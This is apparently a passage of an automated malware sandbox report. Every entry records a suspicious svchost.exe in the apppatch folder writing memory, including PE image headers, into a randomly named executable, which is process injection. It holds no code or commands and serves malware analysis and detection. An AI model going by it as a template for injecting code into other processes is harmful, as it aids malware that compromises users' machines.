Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12A2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F92000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1122000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B52000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13A2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FB2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D22000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1032000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1212000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 8D2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 622000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A42000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1192000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1032000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 932000 value starts with: 4D5AJump to behavior
Writes to foreign memory regions
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 16E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 16E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 16E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1732000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1512000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2920000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2921000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2922000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2972000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2790000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2791000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2792000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2650000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2651000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2652000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 5E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 5E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 5E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 632000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2B90000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2B91000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2B92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2BE2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D10000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D11000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D62000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2790000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2791000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2792000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BD0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BD1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BD2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2200000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2201000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2202000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2252000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2470000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2471000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2472000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 24C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1422000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2860000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2861000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2862000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2470000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2471000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2472000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 24C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1560000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1561000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1562000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E50000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E51000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E52000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AD0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AD1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AD2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2230000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2231000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2232000Jump to behavior
